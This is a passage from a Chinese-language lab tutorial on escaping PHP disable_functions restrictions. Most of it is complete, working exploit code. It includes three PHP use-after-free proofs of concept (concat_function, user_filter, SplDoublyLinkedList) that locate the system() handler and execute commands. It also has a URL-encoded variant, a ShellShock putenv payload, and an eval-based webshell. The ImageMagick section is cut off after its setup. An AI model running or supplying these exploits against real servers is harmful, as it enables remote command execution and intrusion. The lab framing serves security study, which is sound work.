20%24std_object_handlers%20%26%200x0000ffffff000000%3B%0A%24NumPrefix%20%3D%20%24NumPrefix%20-%200x0000000001000000%3B%0A%24funcs%20%3D%20get_defined_functions()%5B'internal'%5D%3B%0Afor(%24i%20%3D%200%3B%20%24i%20%3C%200x1000%3B%20%24i%2B%2B)%20%7B%0A%24addr%20%3D%20%24start%20-%200x1000%20*%20%24i%3B%0A%24name_addr%20%3D%20bin2hex(leak2(%24prefix%20.%20hex2bin(str_pad(dechex(%24addr%20-%200x10)%2C%208%2C%0A%220%22%2C%20STR_PAD_LEFT))))%3B%0Aif%20(hexdec(%24name_addr)%20%3E%20%24std_object_handlers%20%7C%7C%20hexdec(%24name_addr)%20%3C%20%24NumPrefix)%0A%7B%0Acontinue%3B%0A%7D%0A%24name_addr%20%3D%20str_pad(%24name_addr%2C%2016%2C%20%220%22%2C%20STR_PAD_LEFT)%3B%0A%24name%20%3D%20strrev(leak2(%24prefix%20.%20s2b(hex2bin(%24name_addr)%2C%200x00)))%3B%0A%24name%20%3D%20explode(%22%5Cx00%22%2C%20%24name)%5B0%5D%3B%0Aif(in_array(%24name%2C%20%24funcs))%20%7B%0Areturn%20%5B%24name%2C%20bin2hex(%24prefix)%20.%20str_pad(dechex(%24addr)%2C%208%2C%20%220%22%2C%20STR_PAD_LEFT)%2C%0A%24std_object_handlers%2C%20%24NumPrefix%5D%3B%0A%7D%0A%7D%0A%7D%0Afunction%20getSystem(%24unknown_func)%20%7B%0A%24unknown_addr%20%3D%20hex2bin(%24unknown_func%5B1%5D)%3B%0A%24prefix%20%3D%20substr(%24unknown_addr%2C%200%2C%204)%3B%0A%24unknown_addr%20%3D%20hexdec(%24unknown_func%5B1%5D)%3B%0A%24start%20%3D%20%24unknown_addr%20%26%200x00000000ffffffff%3B%0Afor(%24i%20%3D%200%3B%24i%20%3C%200x800%3B%24i%2B%2B)%20%7B%0A%24addr%20%3D%20%24start%20-%200x20%20*%20%24i%3B%0A%24name_addr%20%3D%20bin2hex(leak2(%24prefix%20.%20hex2bin(str_pad(dechex(%24addr%20-%200x10)%2C%208%2C%0A%220%22%2C%20STR_PAD_LEFT))))%3B%0Aif%20(hexdec(%24name_addr)%20%3E%20%24unknown_func%5B2%5D%20%7C%7C%20hexdec(%24name_addr)%20%3C%0A%24unknown_func%5B3%5D)%20%7B%0Acontinue%3B%0A%7D%0A%24name_addr%20%3D%20str_pad(%24name_addr%2C%2016%2C%20%220%22%2C%20STR_PAD_LEFT)%3B%0A%24name%20%3D%20strrev(leak2(%24prefix%20.%20s2b(hex2bin(%24name_addr)%2C%200x00)))%3B%0Aif(strstr(%24name%2C%20%22system%22))%20%7B%0Areturn%20bin2hex(leak2(%24prefix%20.%20hex2bin(str_pad(dechex(%24addr%20-%200x10%20%2B%200x08)%2C%208%2C%0A%220%22%2C%20STR_PAD_LEFT))))%3B%0A%7D%0A%7D%0Afor(%24i%20%3D%200%3B%24i%20%3C%200x800%3B%24i%2B%2B)%20%7B%0A%24addr%20%3D%20%24start%20%2B%200x20%20*%20%24i%3B%0A%24name_addr%20%3D%20bin2hex(leak2(%24prefix%20.%20hex2bin(str_pad(dechex(%24addr%20-%200x10)%2C%208%2C%0A%220%22%2C%20STR_PAD_LEFT))))%3B%0Aif%20(hexdec(%24name_addr)%20%3E%20%24unknown_func%5B2%5D%20%7C%7C%20hexdec(%24name_addr)%20%3C%0A%24unknown_func%5B3%5D)%20%7B%0Acontinue%3B%0A%7D%0A%24name_addr%20%3D%20str_pad(%24name_addr%2C%2016%2C%20%220%22%2C%20STR_PAD_LEFT)%3B%0A%24name%20%3D%20strrev(leak2(%24prefix%20.%20s2b(hex2bin(%24name_addr)%2C%200x00)))%3B%0Aif(strstr(%24name%2C%20%22system%22))%20%7B%0Areturn%20bin2hex(leak2(%24prefix%20.%20hex2bin(str_pad(dechex(%24addr%20-%200x10%20%2B%200x08)%2C%208%2C%0A%220%22%2C%20STR_PAD_LEFT))))%3B%0A%7D%0A%7D%0A%7D%0A%24rp%20%3D%20new%20ReflectionProperty(Test%3A%3Aclass%2C%20'prop')%3B%0A%24test%20%3D%20new%20Test%3B%0A%24test%20-%3E%20prop%20%3D%20new%20HelperHelperHelperHelperHelperHelperHelper%3B%0A%24abc%20%3D%20%24rp%20-%3E%20getType()%20-%3E%20getName()%3B%0A%24helper%20%3D%20new%20HelperHelperHelperHelperHelperHelperHelper()%3B%0Aif%20(strlen(%24abc)%20%3C%201000)%20%7B%0Aexit(%22UAF%20Failed!%22)%3B%0A%7D%0A%24helper%20-%3E%20a%20%3D%20%24helper%3B%0A%24php_heap%20%3D%20leak(0x10)%3B%0A%24helper%20-%3E%20a%20%3D%20function(%24x)%7B%7D%3B%0A%24std_object_handlers%20%3D%20leak(0x0)%3B%0A%24prefix%20%3D%20substr(%24php_heap%2C%200%2C%204)%3B%0A%2F%2Fecho%20%22Helper%20Object%20Address%3A%20%22%20.%20bin2hex(%24php_heap)%20.%20%22%5Cn%22%3B%0A%2F%2Fecho%20%22std_object_handlers%20Address%3A%20%22%20.%20bin2hex(%24std_object_handlers)%20.%20%22%5Cn%22%3B%0A%24closure_object%20%3D%20leak(0x10)%3B%0A%2F%2Fecho%20%22Closure%20Object%3A%20%22%20.%20bin2hex(%24closure_object)%20.%20%22%5Cn%22%3B%0Awrite(0x28%2C%20%22%5Cx06%22)%3B%0Aif(!(%24unknown_func%20%3D%20get_basic_funcs(%24std_object_handlers)))%20%7B%0Adie(%22Couldn't%20determine%20funcs%20address%22)%3B%0A%7D%0A%2F%2Fecho%20%22Find%20func's%20adress%3A%20%22%20.%20%24unknown_func%5B1%5D%20.%20%22%20-%3E%20%22%20.%20%24unknown_func%5B0%5D%20.%20%22%5Cn%22%3B%0Aif(!(%24system_address%20%3D%20getSystem(%24unknown_func)))%20%7B%0Adie(%22Couldn't%20determine%20system%20address%22)%3B%0A%7D%0A%2F%2Fecho%20%22Find%20system's%20handler%3A%20%22%20.%20%24system_address%20.%20%22%5Cn%22%3B%0Afor%20(%24i%20%3D%200%3B%24i%20%3C%20(0x130%20%2F%200x08)%3B%24i%2B%2B)%20%7B%0Awrite(0x308%20%2B%200x08%20*%20(%24i%20%2B%201)%2C%20leak2(%24prefix%20.%20s2b(%24closure_object%2C%200x08%20*%0A%24i)))%3B%0A%7D%0A%24abc%5B0x308%20%2B%200x40%5D%20%3D%20%22%5Cx01%22%3B%0Awrite(0x308%20%2B%200x70%2C%20hex2bin(%24system_address))%3B%0Awrite(0x10%2C%20%24prefix%20.%20hex2bin(dechex(s2n(%24php_heap)%20%2B%200x18%20%2B%200x308%20%2B%200x08)))%3B%0A%2F%2F%20echo%20%22Fake%20Closure%20Object%20Address%3A%20%22%20.%20bin2hex(%24prefix%20.%0A%2F%2F%20hex2bin(str_pad(dechex(s2n(%24php_heap)%20%2B%200x18%20%2B%200x308%20%2B%200x08)%2C%208%2C%20%220%22%2C%0A%2F%2F%20STR_PAD_LEFT)))%20.%20%22%5Cn%22%3B%0A(%24helper%20-%3E%20a)(%22%2Freadflag%22)%3B
    

    在WebShell中提交即可執行命令。


    image-20220110004152625

    在審計蟻劍disable_functions插件也可以很明顯看出就是套用了官方的EXP

    image-20220110004445060

    PHP concat_function UAF

    漏洞簡介

    此漏洞利用處理字符串連接的函數中的錯誤進行攻擊。如果滿足某些條件,諸如$a.$b之類的語句可能會導致內存損壞。

    漏洞細節:https://bugs.php.net/bug.php?id=81705

    漏洞利用條件

    ?Linux 操作系統

    ?PHP 版本

    ?7.3 - all versions to date

    ?7.4 - all versions to date

    ?8.0 - all versions to date

    ?8.1 - all versions to date

    靶場環境

    項目地址:https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/9

    雖然該靶場是蟻劍用來測試iconv漏洞的,但經過測試此靶場也可成功復現該漏洞。

    靶場突破

    這里用到了國外大佬mm0r1寫的EXP:

    <?php
    
    # PHP 7.3-8.1 disable_functions bypass PoC (*nix only)
    #
    # Bug: https://bugs.php.net/bug.php?id=81705
    #ok
    # This exploit should work on all PHP 7.3-8.1 versions
    # released as of 2022-01-07
    #
    # Author: https://github.com/mm0r1
    
    new Pwn("tac /flag");            // 可替換成需要執行的命令
    
    class Helper { public $a, $b, $c; }
    class Pwn {
        const LOGGING = false;
        const CHUNK_DATA_SIZE = 0x60;
        const CHUNK_SIZE = ZEND_DEBUG_BUILD ? self::CHUNK_DATA_SIZE + 0x20 : self::CHUNK_DATA_SIZE;
        const STRING_SIZE = self::CHUNK_DATA_SIZE - 0x18 - 1;
    
        const HT_SIZE = 0x118;
        const HT_STRING_SIZE = self::HT_SIZE - 0x18 - 1;
    
        public function __construct($cmd) {
            for($i = 0; $i < 10; $i++) {
                $groom[] = self::alloc(self::STRING_SIZE);
                $groom[] = self::alloc(self::HT_STRING_SIZE);
            }
            
            $concat_str_addr = self::str2ptr($this->heap_leak(), 16);
            $fill = self::alloc(self::STRING_SIZE);
    
            $this->abc = self::alloc(self::STRING_SIZE);
            $abc_addr = $concat_str_addr + self::CHUNK_SIZE;
            self::log("abc @ 0x%x", $abc_addr);
    
            $this->free($abc_addr);
            $this->helper = new Helper;
            if(strlen($this->abc) < 0x1337) {
                self::log("uaf failed");
                return;
            }
    
            $this->helper->a = "leet";
            $this->helper->b = function($x) {};
            $this->helper->c = 0xfeedface;
    
            $helper_handlers = $this->rel_read(0);
            self::log("helper handlers @ 0x%x", $helper_handlers);
    
            $closure_addr = $this->rel_read(0x20);
            self::log("real closure @ 0x%x", $closure_addr);
    
            $closure_ce = $this->read($closure_addr + 0x10);
            self::log("closure class_entry @ 0x%x", $closure_ce);
            
            $basic_funcs = $this->get_basic_funcs($closure_ce);
            self::log("basic_functions @ 0x%x", $basic_funcs);
    
            $zif_system = $this->get_system($basic_funcs);
            self::log("zif_system @ 0x%x", $zif_system);
    
            $fake_closure_off = 0x70;
            for($i = 0; $i < 0x138; $i += 8) {
                $this->rel_write($fake_closure_off + $i, $this->read($closure_addr + $i));
            }
            $this->rel_write($fake_closure_off + 0x38, 1, 4);
            $handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;
            $this->rel_write($fake_closure_off + $handler_offset, $zif_system);
    
            $fake_closure_addr = $abc_addr + $fake_closure_off + 0x18;
            self::log("fake closure @ 0x%x", $fake_closure_addr);
    
            $this->rel_write(0x20, $fake_closure_addr);
            ($this->helper->b)($cmd);
    
            $this->rel_write(0x20, $closure_addr);
            unset($this->helper->b);
        }
    
        private function heap_leak() {
            $arr = [[], []];
            set_error_handler(function() use (&$arr, &$buf) {
                $arr = 1;
                $buf = str_repeat("\x00", self::HT_STRING_SIZE);
            });
            $arr[1] .= self::alloc(self::STRING_SIZE - strlen("Array"));
            return $buf;
        }
    
        private function free($addr) {
            $payload = pack("Q*", 0xdeadbeef, 0xcafebabe, $addr);
            $payload .= str_repeat("A", self::HT_STRING_SIZE - strlen($payload));
            
            $arr = [[], []];
            set_error_handler(function() use (&$arr, &$buf, &$payload) {
                $arr = 1;
                $buf = str_repeat($payload, 1);
            });
            $arr[1] .= "x";
        }
    
        private function rel_read($offset) {
            return self::str2ptr($this->abc, $offset);
        }
    
        private function rel_write($offset, $value, $n = 8) {
            for ($i = 0; $i < $n; $i++) {
                $this->abc[$offset + $i] = chr($value & 0xff);
                $value >>= 8;
            }
        }
    
        private function read($addr, $n = 8) {
            $this->rel_write(0x10, $addr - 0x10);
            $value = strlen($this->helper->a);
            if($n !== 8) { $value &= (1 << ($n << 3)) - 1; }
            return $value;
        }
    
        private function get_system($basic_funcs) {
            $addr = $basic_funcs;
            do {
                $f_entry = $this->read($addr);
                $f_name = $this->read($f_entry, 6);
                if($f_name === 0x6d6574737973) {
                    return $this->read($addr + 8);
                }
                $addr += 0x20;
            } while($f_entry !== 0);
        }
    
        private function get_basic_funcs($addr) {
            while(true) {
                // In rare instances the standard module might lie after the addr we're starting
                // the search from. This will result in a SIGSGV when the search reaches an unmapped page.
                // In that case, changing the direction of the search should fix the crash.
                // $addr += 0x10;
                $addr -= 0x10;
                if($this->read($addr, 4) === 0xA8 &&
                    in_array($this->read($addr + 4, 4),
                        [20180731, 20190902, 20200930, 20210902])) {
                    $module_name_addr = $this->read($addr + 0x20);
                    $module_name = $this->read($module_name_addr);
                    if($module_name === 0x647261646e617473) {
                        self::log("standard module @ 0x%x", $addr);
                        return $this->read($addr + 0x28);
                    }
                }
            }
        }
    
        private function log($format, $val = "") {
            if(self::LOGGING) {
                printf("{$format}\n", $val);
            }
        }
    
        static function alloc($size) {
            return str_shuffle(str_repeat("A", $size));
        }
    
        static function str2ptr($str, $p = 0, $n = 8) {
            $address = 0;
            for($j = $n - 1; $j >= 0; $j--) {
                $address <<= 8;
                $address |= ord($str[$p + $j]);
            }
            return $address;
        }
    }
    
    ?>
    

    直接訪問即可執行命令。

    PHP user_filter

    漏洞簡介

    這是一個十分嚴重的內存破壞漏洞,而且早在十年前就已經有人在官網上提交過此漏洞的相關細節。如今這個漏洞依然存在。

    漏洞細節:https://bugs.php.net/bug.php?id=54350

    漏洞利用條件

    ?Linux 操作系統

    ?PHP 版本

    ?5.* - exploitable with minor changes to the PoC

    ?7.0 - all versions to date

    ?7.1 - all versions to date

    ?7.2 - all versions to date

    ?7.3 - all versions to date

    ?7.4 < 7.4.26

    ?8.0 < 8.0.13

    靶場環境

    項目地址:https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/7

    雖然該靶場是蟻劍用來測試GC UAF漏洞的,但經過測試此靶場也可成功復現該漏洞。

    靶場突破

    這里用到了國外大佬mm0r1寫的EXP:

    <?php
    # PHP 7.0-8.0 disable_functions bypass PoC (*nix only)
    #
    # Bug: https://bugs.php.net/bug.php?id=54350
    # 
    # This exploit should work on all PHP 7.0-8.0 versions
    # released as of 2021-10-06
    #
    # Author: https://github.com/mm0r1
    
    pwn("tac /flag");            // 可替換成需要執行的命令
    
    function pwn($cmd) {
        define('LOGGING', false);
        define('CHUNK_DATA_SIZE', 0x60);
        define('CHUNK_SIZE', ZEND_DEBUG_BUILD ? CHUNK_DATA_SIZE + 0x20 : CHUNK_DATA_SIZE);
        define('FILTER_SIZE', ZEND_DEBUG_BUILD ? 0x70 : 0x50);
        define('STRING_SIZE', CHUNK_DATA_SIZE - 0x18 - 1);
        define('CMD', $cmd);
        for($i = 0; $i < 10; $i++) {
            $groom[] = Pwn::alloc(STRING_SIZE);
        }
        stream_filter_register('pwn_filter', 'Pwn');
        $fd = fopen('php://memory', 'w');
        stream_filter_append($fd,'pwn_filter');
        fwrite($fd, 'x');
    }
    
    class Helper { public $a, $b, $c; }
    class Pwn extends php_user_filter {
        private $abc, $abc_addr;
        private $helper, $helper_addr, $helper_off;
        private $uafp, $hfp;
    
        public function filter($in, $out, &$consumed, $closing) {
            if($closing) return;
            stream_bucket_make_writeable($in);
            $this->filtername = Pwn::alloc(STRING_SIZE);
            fclose($this->stream);
            $this->go();
            return PSFS_PASS_ON;
        }
    
        private function go() {
            $this->abc = &$this->filtername;
    
            $this->make_uaf_obj();
    
            $this->helper = new Helper;
            $this->helper->b = function($x) {};
    
            $this->helper_addr = $this->str2ptr(CHUNK_SIZE * 2 - 0x18) - CHUNK_SIZE * 2;
            $this->log("helper @ 0x%x", $this->helper_addr);
    
            $this->abc_addr = $this->helper_addr - CHUNK_SIZE;
            $this->log("abc @ 0x%x", $this->abc_addr);
    
            $this->helper_off = $this->helper_addr - $this->abc_addr - 0x18;
    
            $helper_handlers = $this->str2ptr(CHUNK_SIZE);
            $this->log("helper handlers @ 0x%x", $helper_handlers);
    
            $this->prepare_leaker();
    
            $binary_leak = $this->read($helper_handlers + 8);
            $this->log("binary leak @ 0x%x", $binary_leak);
            $this->prepare_cleanup($binary_leak);
    
            $closure_addr = $this->str2ptr($this->helper_off + 0x38);
            $this->log("real closure @ 0x%x", $closure_addr);
    
            $closure_ce = $this->read($closure_addr + 0x10);
            $this->log("closure class_entry @ 0x%x", $closure_ce);
    
            $basic_funcs = $this->get_basic_funcs($closure_ce);
            $this->log("basic_functions @ 0x%x", $basic_funcs);
    
            $zif_system = $this->get_system($basic_funcs);
            $this->log("zif_system @ 0x%x", $zif_system);
    
            $fake_closure_off = $this->helper_off + CHUNK_SIZE * 2;
            for($i = 0; $i < 0x138; $i += 8) {
                $this->write($fake_closure_off + $i, $this->read($closure_addr + $i));
            }
            $this->write($fake_closure_off + 0x38, 1, 4);
    
            $handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;
            $this->write($fake_closure_off + $handler_offset, $zif_system);
    
            $fake_closure_addr = $this->helper_addr + $fake_closure_off - $this->helper_off;
            $this->write($this->helper_off + 0x38, $fake_closure_addr);
            $this->log("fake closure @ 0x%x", $fake_closure_addr);
    
            $this->cleanup();
            ($this->helper->b)(CMD);
        }
    
        private function make_uaf_obj() {
            $this->uafp = fopen('php://memory', 'w');
            fwrite($this->uafp, pack('QQQ', 1, 0, 0xDEADBAADC0DE));
            for($i = 0; $i < STRING_SIZE; $i++) {
                fwrite($this->uafp, "\x00");
            }
        }
    
        private function prepare_leaker() {
            $str_off = $this->helper_off + CHUNK_SIZE + 8;
            $this->write($str_off, 2);
            $this->write($str_off + 0x10, 6);
    
            $val_off = $this->helper_off + 0x48;
            $this->write($val_off, $this->helper_addr + CHUNK_SIZE + 8);
            $this->write($val_off + 8, 0xA);
        }
    
        private function prepare_cleanup($binary_leak) {
            $ret_gadget = $binary_leak;
            do {
                --$ret_gadget;
            } while($this->read($ret_gadget, 1) !== 0xC3);
            $this->log("ret gadget = 0x%x", $ret_gadget);
            $this->write(0, $this->abc_addr + 0x20 - (PHP_MAJOR_VERSION === 8 ? 0x50 : 0x60));
            $this->write(8, $ret_gadget);
        }
    
        private function read($addr, $n = 8) {
            $this->write($this->helper_off + CHUNK_SIZE + 16, $addr - 0x10);
            $value = strlen($this->helper->c);
            if($n !== 8) { $value &= (1 << ($n << 3)) - 1; }
            return $value;
        }
    
        private function write($p, $v, $n = 8) {
            for($i = 0; $i < $n; $i++) {
                $this->abc[$p + $i] = chr($v & 0xff);
                $v >>= 8;
            }
        }
    
        private function get_basic_funcs($addr) {
            while(true) {
                // In rare instances the standard module might lie after the addr we're starting
                // the search from. This will result in a SIGSGV when the search reaches an unmapped page.
                // In that case, changing the direction of the search should fix the crash.
                // $addr += 0x10;
                $addr -= 0x10;
                if($this->read($addr, 4) === 0xA8 &&
                    in_array($this->read($addr + 4, 4),
                        [20151012, 20160303, 20170718, 20180731, 20190902, 20200930])) {
                    $module_name_addr = $this->read($addr + 0x20);
                    $module_name = $this->read($module_name_addr);
                    if($module_name === 0x647261646e617473) {
                        $this->log("standard module @ 0x%x", $addr);
                        return $this->read($addr + 0x28);
                    }
                }
            }
        }
    
        private function get_system($basic_funcs) {
            $addr = $basic_funcs;
            do {
                $f_entry = $this->read($addr);
                $f_name = $this->read($f_entry, 6);
                if($f_name === 0x6d6574737973) {
                    return $this->read($addr + 8);
                }
                $addr += 0x20;
            } while($f_entry !== 0);
        }
    
        private function cleanup() {
            $this->hfp = fopen('php://memory', 'w');
            fwrite($this->hfp, pack('QQ', 0, $this->abc_addr));
            for($i = 0; $i < FILTER_SIZE - 0x10; $i++) {
                fwrite($this->hfp, "\x00");
            }
        }
    
        private function str2ptr($p = 0, $n = 8) {
            $address = 0;
            for($j = $n - 1; $j >= 0; $j--) {
                $address <<= 8;
                $address |= ord($this->abc[$p + $j]);
            }
            return $address;
        }
    
        private function ptr2str($ptr, $n = 8) {
            $out = '';
            for ($i = 0; $i < $n; $i++) {
                $out .= chr($ptr & 0xff);
                $ptr >>= 8;
            }
            return $out;
        }
    
        private function log($format, $val = '') {
            if(LOGGING) {
                printf("{$format}\n", $val);
            }
        }
    
        static function alloc($size) {
            return str_shuffle(str_repeat('A', $size));
        }
    }
    ?>
    

    直接訪問即可執行命令。

    PHP SplDoublyLinkedList UAF

    漏洞簡介

    PHP的SplDoublyLinkedList雙向鏈表庫中存在一個用后釋放漏洞,該漏洞將允許攻擊者通過運行PHP代碼來轉義disable_functions限制函數。在該漏洞的幫助下,遠程攻擊者將能夠實現PHP沙箱逃逸,并執行任意代碼。更準確地來說,成功利用該漏洞后,攻擊者將能夠繞過PHP的某些限制,例如disable_functions和safe_mode等等。

    漏洞細節:https://bugs.php.net/bug.php?id=80111

    有關該漏洞的詳細分析,可以參考下面這篇文章:
    https://www.freebuf.com/articles/web/251017.html

    漏洞利用條件

    ?PHP版本

    ?PHP v8.0(Alpha)

    ?PHP v7.4.10及其之前版本

    漏洞靶場

    項目地址:https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/9

    雖然該靶場是蟻劍用來測試iconv漏洞的,但經過測試此靶場也可成功復現該漏洞。

    靶場突破

    EXP出自這篇文章:https://xz.aliyun.com/t/8355#toc-3

    <?php
    error_reporting(0);
    $a = str_repeat("T", 120 * 1024 * 1024);
    function i2s(&$a, $p, $i, $x = 8) {
        for($j = 0;$j < $x;$j++) {
            $a[$p + $j] = chr($i & 0xff);
            $i >>= 8;
        }
    }
    
    function s2i($s) {
        $result = 0;
        for ($x = 0;$x < strlen($s);$x++) {
            $result <<= 8;
            $result |= ord($s[$x]);
        }
        return $result;
    }
    
    function leak(&$a, $address) {
        global $s;
        i2s($a, 0x00, $address - 0x10);
        return strlen($s -> current());
    }
    
    function getPHPChunk($maps) {
        $pattern = '/([0-9a-f]+\-[0-9a-f]+) rw\-p 00000000 00:00 0 /';
        preg_match_all($pattern, $maps, $match);
        foreach ($match[1] as $value) {
            list($start, $end) = explode("-", $value);
            if (($length = s2i(hex2bin($end)) - s2i(hex2bin($start))) >= 0x200000 && $length <= 0x300000) {
                $address = array(s2i(hex2bin($start)), s2i(hex2bin($end)), $length);
                echo "[+]PHP Chunk: " . $start . " - " . $end . ", length: 0x" . dechex($length) . "\n";
                return $address;
            }
        }
    }
    
    function bomb1(&$a) {
        if (leak($a, s2i($_GET["test1"])) === 0x5454545454545454) {
            return (s2i($_GET["test1"]) & 0x7ffff0000000);
        }else {
            die("[!]Where is here");
        }
    }
    
    function bomb2(&$a) {
        $start = s2i($_GET["test2"]);
        return getElement($a, array($start, $start + 0x200000, 0x200000));
        die("[!]Not Found");
    }
    
    function getElement(&$a, $address) {
        for ($x = 0;$x < ($address[2] / 0x1000 - 2);$x++) {
            $addr = 0x108 + $address[0] + 0x1000 * $x + 0x1000;
            for ($y = 0;$y < 5;$y++) {
                if (leak($a, $addr + $y * 0x08) === 0x1234567812345678 && ((leak($a, $addr + $y * 0x08 - 0x08) & 0xffffffff) === 0x01)){
                    echo "[+]SplDoublyLinkedList Element: " . dechex($addr + $y * 0x08 - 0x18) . "\n";
                    return $addr + $y * 0x08 - 0x18;
                }
            }
        }
    }
    
    function getClosureChunk(&$a, $address) {
        do {
            $address = leak($a, $address);
        }while(leak($a, $address) !== 0x00);
        echo "[+]Closure Chunk: " . dechex($address) . "\n";
        return $address;
    }
    
    function getSystem(&$a, $address) {
        $start = $address & 0xffffffffffff0000;
        $lowestAddr = ($address & 0x0000fffffff00000) - 0x0000000001000000;
        for($i = 0; $i < 0x1000 * 0x80; $i++) {
            $addr = $start - $i * 0x20;
            if ($addr < $lowestAddr) {
                break;
            }
            $nameAddr = leak($a, $addr);
            if ($nameAddr > $address || $nameAddr < $lowestAddr) {
                continue;
            }
            $name = dechex(leak($a, $nameAddr));
            $name = str_pad($name, 16, "0", STR_PAD_LEFT);
            $name = strrev(hex2bin($name));
            $name = explode("\x00", $name)[0];
            if($name === "system") {
                return leak($a, $addr + 0x08);
            }
        }
    }
    
    class Trigger {
        function __destruct() {
            global $s;
            unset($s[0]);
            $a = str_shuffle(str_repeat("T", 0xf));
            i2s($a, 0x00, 0x1234567812345678);
            i2s($a, 0x08, 0x04, 7);
            $s -> current();
            $s -> next();
            if ($s -> current() !== 0x1234567812345678) {
                 die("[!]UAF Failed");
            }
            $maps = file_get_contents("/proc/self/maps");
            if (!$maps) {
                cantRead($a);
            }else {
                canRead($maps, $a);
            }
            echo "[+]Done";
        }
    }
    
    function bypass($elementAddress, &$a) {
        global $s;
        if (!$closureChunkAddress = getClosureChunk($a, $elementAddress)) {
            die("[!]Get Closure Chunk Address Failed");
        }
        $closure_object = leak($a, $closureChunkAddress + 0x18);
        echo "[+]Closure Object: " . dechex($closure_object) . "\n";
        $closure_handlers = leak($a, $closure_object + 0x18);
        echo "[+]Closure Handler: " . dechex($closure_handlers) . "\n";
        if(!($system_address = getSystem($a, $closure_handlers))) {
            die("[!]Couldn't determine system address");
        }
        echo "[+]Find system's handler: " . dechex($system_address) . "\n";
        i2s($a, 0x08, 0x506, 7);
        for ($i = 0;$i < (0x130 / 0x08);$i++) {
            $data = leak($a, $closure_object + 0x08 * $i);
            i2s($a, 0x00, $closure_object + 0x30);
            i2s($s -> current(), 0x08 * $i + 0x100, $data);
        }
        i2s($a, 0x00, $closure_object + 0x30);
        i2s($s -> current(), 0x20, $system_address);
        i2s($a, 0x00, $closure_object);
        i2s($a, 0x08, 0x108, 7);
        echo "[+]Executing command: \n";
        ($s -> current())("tac /flag");        // 可替換成需要執行的命令
    }
    
    function canRead($maps, &$a) {
        global $s;
        if (!$chunkAddress = getPHPChunk($maps)) {
            die("[!]Get PHP Chunk Address Failed");
        }
        i2s($a, 0x08, 0x06, 7);
        if (!$elementAddress = getElement($a, $chunkAddress)) {
            die("[!]Get SplDoublyLinkedList Element Address Failed");
        }
        bypass($elementAddress, $a);
    }
    
    function cantRead(&$a) {
        global $s;
        i2s($a, 0x08, 0x06, 7);
        if (!isset($_GET["test1"]) && !isset($_GET["test2"])) {
            die("[!]Please try to get address of PHP Chunk");
        }
        if (isset($_GET["test1"])) {
            die(dechex(bomb1($a)));
        }
        if (isset($_GET["test2"])) {
            $elementAddress = bomb2($a);
        }
        if (!$elementAddress) {
            die("[!]Get SplDoublyLinkedList Element Address Failed");
        }
        bypass($elementAddress, $a);
    }
    
    $s = new SplDoublyLinkedList();
    $s -> push(new Trigger());
    $s -> push("Twings");
    $s -> push(function($x){});
    for ($x = 0;$x < 0x100;$x++) {
        $s -> push(0x1234567812345678);
    }
    $s -> rewind();
    unset($s[0]);
    

    直接訪問即可執行命令。


    利用 ShellShock 漏洞 (CVE-2014-6271)漏洞簡介

    目前的bash使用的環境變量是通過函數名稱來調用的,導致漏洞出問題是以“(){”開頭定義的環境變量在命令ENV中解析成函數后,Bash執行并未退出,而是繼續解析并執行shell命令。核心的原因在于在輸入的過濾中沒有嚴格限制邊界,沒有做合法化的參數判斷。

    攻擊者只需將惡意代碼寫入到環境變量中,傳到服務端,觸發服務器運行bash腳本即可執行惡意代碼。

    有關ShellShock漏洞(Bash破殼漏洞)的詳細原理可以參考以下文章:
    https://zhuanlan.zhihu.com/p/35579956

    漏洞利用條件

    ?putenv可用

    ?mail or error_log 可用,本例中禁用了 mail 但未禁用 error_log

    ?/bin/bash 存在 CVE-2014-6271 漏洞

    ?/bin/sh -> /bin/bash sh 默認的 shell 是 bash

    存在shellshock漏洞的操作系統版本


    image-20220102001226416

    靶場環境

    項目地址:https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/2

    靶場環境的Bash版本


    image-20220102213116419

    靶場突破

    連接到webshell后,寫入EXP:

    <?php
    putenv("PHP_flag=() { :; }; tac /flag > /var/www/html/flag.txt");    # 設置環境變量,將flag輸入到flag.txt中
    error_log("a",1);
    

    訪問EXP,刷新后得到flag:


    image-20220102211012735


    利用 ImageMagick RCE 漏洞 (CVE-2016-3714)漏洞簡介

    ImageMagick是一款使用量很廣的圖片處理程序,支持 PHP、Ruby、NodeJS 和 Python 等多種語言,使用非常廣泛。很多廠商都調用了這個程序進行圖片處理,包括圖片的伸縮、切割、水印、格式轉換等等。但近來有研究者發現,當用戶傳入一個包含『畸形內容』的圖片的時候,就有可能觸發命令注入漏洞。

    ImageMagick有一個功能叫做delegate(委托),作用是調用外部的lib來處理文件。而調用外部lib的過程是使用系統的system命令來執行的。首先在delegate.xml文件中,定義了很多占位符,比如%i是輸入的文件名,%l是圖片exif label信息,而在之后的command中,部分占位符被拼接在其中,被拼接完的command命令行傳入了系統的system函數,導致任意命令執行。

    關于該漏洞的原理詳解推薦參考P神的這篇文章:
    https://www.leavesongs.com/PENETRATION/CVE-2016-3714-ImageMagick.html

    漏洞利用條件

    ?目標主機安裝了漏洞版本的ImageMagick(<= 6.9.3-9)

    ?安裝了php-imagick擴展,并且在php.ini中啟用

    ?php >=5.4

    關于這個漏洞影響ImageMagick 6.9.3-9以前是所有版本,包括ubuntu源中安裝的ImageMagick。而官方在6.9.3-9版本中對漏洞進行了不完全的修復。所以,我們不能僅通過更新ImageMagick的版本來杜絕這個漏洞。

    靶場環境

    使用直接使用docker拉取靶場鏡像:

    docker pull medicean/vulapps:i_imagemagick_1
    
    docker run -d -p 18081:80 --name=i_imagemagick_1 medicean/vulapps:i_imagemagick_1
    

    進入容器,并為靶場添加disable_functions,在php.ini中添加如下:

    disable_functions=pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,system
    

    然后重啟apache服務

    之后在靶場的web根目錄中寫入webshell

    <?php @eval($_POST['hacker']);?>
    

    本地測試

